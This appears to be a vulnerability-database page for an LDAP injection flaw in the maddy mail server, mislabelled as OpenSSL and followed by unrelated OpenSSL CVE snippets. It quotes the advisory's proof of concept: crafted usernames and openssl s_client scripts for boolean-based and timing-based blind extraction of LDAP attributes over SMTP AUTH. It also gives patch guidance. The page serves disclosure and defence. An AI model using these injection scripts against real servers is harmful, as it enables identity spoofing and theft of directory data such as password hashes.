OpenSSL
CVE-2026-40193
HIGH
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Lifecycle Timeline
6DescriptionGitHub Advisory
Summary
The auth.ldap module constructs LDAP search filters and DN strings by directly interpolating user-supplied usernames via strings.ReplaceAll() without any LDAP filter escaping. An attacker who can reach the SMTP submission (AUTH PLAIN) or IMAP LOGIN interface can inject arbitrary LDAP filter expressions through the username field, enabling identity spoofing, LDAP directory enumeration, and attribute value extraction. The go-ldap/ldap/v3 library-already imported in the same file-provides ldap.EscapeFilter() specifically for this purpose, but it is never called.
Patched version
Upgrade to maddy 0.9.3.
Details
Affected file: internal/auth/ldap/ldap.go
Three locations substitute the raw, attacker-controlled username into LDAP filter or DN strings with no escaping:
1. Lookup() - line 228 (filter injection)
func (a *Auth) Lookup(_ context.Context, username string) (string, bool, error) {
// ...
req := ldap.NewSearchRequest(
a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,
2, 0, false,
strings.ReplaceAll(a.filterTemplate, "{username}", username), // <-- NO ESCAPING
[]string{"dn"}, nil)2. AuthPlain() - line 255 (DN template injection)
func (a *Auth) AuthPlain(username, password string) error {
// ...
if a.dnTemplate != "" {
userDN = strings.ReplaceAll(a.dnTemplate, "{username}", username) // <-- NO ESCAPING3. AuthPlain() - line 260 (filter injection)
} else {
req := ldap.NewSearchRequest(
a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,
2, 0, false,
strings.ReplaceAll(a.filterTemplate, "{username}", username), // <-- NO ESCAPING
[]string{"dn"}, nil)The go-ldap/ldap/v3 library (v3.4.10, imported at line 17) provides ldap.EscapeFilter() which escapes (, ), *, \, and NUL per RFC 4515. It is never called on user input.
No input validation or filter escaping occurs at any point from the protocol handler to the LDAP query.
PoC
Prerequisites:
- A maddy instance configured with
auth.ldapusing afilterdirective - An LDAP directory (e.g., OpenLDAP) with at least one user
- Network access to maddy's SMTP submission port (587) or IMAP port (993/143)
Step 1: Vulnerable maddy configuration
auth.ldap ldap_auth {
urls ldap://ldapserver:389
bind plain "cn=admin,dc=example,dc=org" "adminpassword"
base_dn "ou=people,dc=example,dc=org"
filter "(&(objectClass=inetOrgPerson)(uid={username}))"
}
submission tcp://0.0.0.0:587 {
auth &ldap_auth
# ...
}Assume the LDAP directory contains users alice (password: alice_pass) and bob (password: bob_pass).
Step 2: Verify normal authentication works
# Encode AUTH PLAIN: \x00alice\x00alice_pass
AUTH_BLOB=$(printf '\x00alice\x00alice_pass' | base64)
# Connect via SMTP submission with STARTTLS
openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet <<EOF
EHLO test
AUTH PLAIN $AUTH_BLOB
QUIT
EOF
# Expected: 235 Authentication succeededStep 3: Boolean-based blind LDAP injection (attribute extraction)
An attacker who holds valid credentials for any one account can extract that account's LDAP attributes character by character, using the authentication result (235 vs 535) as a boolean oracle.
# Scenario: attacker knows bob's password ("bob_pass").
# Goal: extract bob's "description" attribute value one character at a time.
#
# Injected username: bob)(description=S*
# Resulting filter: (&(objectClass=inetOrgPerson)(uid=bob)(description=S*))
#
# If bob's description starts with "S" → filter matches 1 entry (bob)
# → conn.Bind(bob_DN, "bob_pass") succeeds → 235 (SUCCESS)
# If not → filter matches 0 entries → 535 (FAILURE)
#
# By iterating characters, the attacker reconstructs the full attribute value.
# Test: does bob's description start with "S"?
INJECTED='bob)(description=S*'
AUTH_BLOB=$(printf "\x00${INJECTED}\x00bob_pass" | base64)
openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet <<EOF
EHLO test
AUTH PLAIN $AUTH_BLOB
QUIT
EOF
# 235 → yes, starts with "S"
# Narrow: does it start with "Se"?
INJECTED='bob)(description=Se*'
AUTH_BLOB=$(printf "\x00${INJECTED}\x00bob_pass" | base64)
# ... repeat until full value is extracted
# This works for ANY LDAP attribute: userPassword hashes, mail,
# telephoneNumber, memberOf, etc.For extracting attributes of other users (whose password the attacker does not know), a timing side-channel is used instead. The AuthPlain() function has two distinct failure paths:
- 0 entries matched (line 270): returns
ErrUnknownCredentialsimmediately - fast - 1 entry matched, bind fails (line 275): performs
conn.Bind()over the network, then returns - slow (adds LDAP bind round-trip latency)
Both return SMTP 535, but the timing difference is measurable:
# Target: extract alice's "description" attribute.
# Attacker does NOT know alice's password.
#
# Injected username: alice)(description=S*
# Resulting filter: (&(objectClass=inetOrgPerson)(uid=alice)(description=S*))
#
# If alice's description starts with "S":
# → 1 match → conn.Bind(alice_DN, "wrong") → bind fails → 535 (SLOW)
# If not:
# → 0 matches → immediate 535 (FAST)
#
# Timing delta ≈ LDAP bind RTT (typically 1-10ms on LAN, more over WAN)
for c in {a..z} {A..Z} {0..9}; do
INJECTED="alice)(description=${c}*"
AUTH_BLOB=$(printf "\x00${INJECTED}\x00wrong" | base64)
START=$(date +%s%N)
echo -e "EHLO test\r\nAUTH PLAIN ${AUTH_BLOB}\r\nQUIT\r\n" | \
openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet 2>/dev/null
END=$(date +%s%N)
ELAPSED=$(( (END - START) / 1000000 ))
echo "char='$c' time=${ELAPSED}ms"
done
# Characters with significantly longer response times indicate a filter match.Impact
Who is affected: Any maddy deployment that uses the auth.ldap module with either the filter or dn_template directive. Both SMTP submission (AUTH PLAIN) and IMAP (LOGIN) authentication are affected.
What an attacker can do:
- Identity spoofing: An attacker who knows any valid user's password can authenticate using an injected username that resolves to that user's DN via LDAP filter manipulation. The authenticated session identity (
connState.AuthUserin SMTP,usernamepassed to IMAP storage lookup) is the raw injected string, not the actual LDAP user. This can bypass username-based authorization policies downstream. - LDAP directory enumeration: By injecting wildcard filters (
*) and observing error responses (e.g., "too many entries" vs. "unknown credentials"), an attacker can determine the number of users, probe for the existence of specific accounts, and discover directory structure. - Attribute value extraction via boolean-based blind injection: An attacker who holds valid credentials for any one LDAP account can inject additional filter conditions (e.g.,
bob)(description=X*) that turn the authentication response into a boolean oracle, and the same technique works via a timing side-channel. - DN template path traversal: When
dn_templateis used instead offilter(line 255), injected characters can manipulate the DN structure, potentially targeting entries in different organizational units or directory subtrees.
AnalysisAI
LDAP injection in maddy mail server versions before 0.9.3 allows remote unauthenticated attackers to extract sensitive directory attributes and spoof user identities. The auth.ldap module fails to escape user-supplied usernames before interpolating them into LDAP search filters and DN strings, despite having the ldap.EscapeFilter() function available. Attackers can exploit this via SMTP AUTH PLAIN or IMAP LOGIN interfaces to perform boolean-based blind injection attacks that extract password hashes, email addresses, group memberships, and other LDAP attributes character-by-character. While CVSS rates this 8.2 (High) for network-accessible unauthenticated exploitation with high confidentiality impact, no active exploitation (KEV) or weaponized POC has been identified at time of analysis. EPSS data not available for this recent CVE.
Technical ContextAI
This vulnerability affects the maddy mail server's LDAP authentication module (auth.ldap), specifically in internal/auth/ldap/ldap.go. The code uses Go's strings.ReplaceAll() to directly substitute user-controlled username values into LDAP filter templates and DN strings without invoking ldap.EscapeFilter() from the go-ldap/ldap/v3 library. LDAP injection (CWE-90) occurs when special characters like parentheses, asterisks, and backslashes in LDAP filter syntax are not properly escaped before concatenation. Three distinct injection points exist: the Lookup() function at line 228 (filter injection), AuthPlain() at line 255 (DN template injection), and AuthPlain() at line 260 (filter injection). The go-ldap/ldap/v3 library provides RFC 4515-compliant escaping functions that neutralize metacharacters, but the maddy codebase never invokes them on user input flowing from protocol handlers (SMTP submission port 587, IMAP ports 143/993) to LDAP queries. This is a classic input validation failure where the sanitization function exists in-scope but is not called in the data flow path.
RemediationAI
Upgrade immediately to maddy version 0.9.3, released at https://github.com/foxcpp/maddy/releases/tag/v0.9.3, which implements proper LDAP filter escaping via ldap.EscapeFilter() at all three injection points (commit 6a06337eb41fa87a35697366bcb71c3c962c44ba available at https://github.com/foxcpp/maddy/commit/6a06337eb41fa87a35697366bcb71c3c962c44ba). For environments unable to upgrade immediately, disable the auth.ldap module entirely and switch to alternative authentication backends (auth.pam, auth.pass_table, or external authentication) until patching is possible - note this will disrupt LDAP-based user authentication and require reconfiguration of authentication sources. Network-level mitigations have limited effectiveness since the vulnerability is triggered through legitimate protocol interfaces (SMTP AUTH, IMAP LOGIN), but restricting SMTP submission and IMAP access to trusted IP ranges via firewall rules reduces attacker surface area at the cost of breaking remote mail client access. Web application firewalls or protocol-aware proxies cannot effectively filter LDAP injection payloads in base64-encoded AUTH PLAIN commands without breaking legitimate authentication attempts containing special characters in usernames.
The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe
The dtls1_reassemble_fragment function in d1_both.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before 1.0.2g and other products, requires a server to se
The ssl3_get_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8zd, 1.0.0 before 1.0.0p, and 1.0.1 before 1.0.1k
The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other products, uses nondeterministic CBC padding, which mak
The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a
The X509_verify_cert function in crypto/x509/x509_vfy.c in OpenSSL 1.0.1n, 1.0.1o, 1.0.2b, and 1.0.2c does not properly
A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Rated hig
The ssl3_send_client_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before
In OpenSSL 1.1.0 before 1.1.0d, if a malicious server supplies bad parameters for a DHE or ECDHE key exchange then this
A denial of service flaw was found in OpenSSL 0.9.8, 1.0.1, 1.0.2 through 1.0.2h, and 1.1.0 in the way the TLS/SSL proto
Same weakness CWE-90 – LDAP Injection
View allSame technique Code Injection
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-5835-4gvc-32pc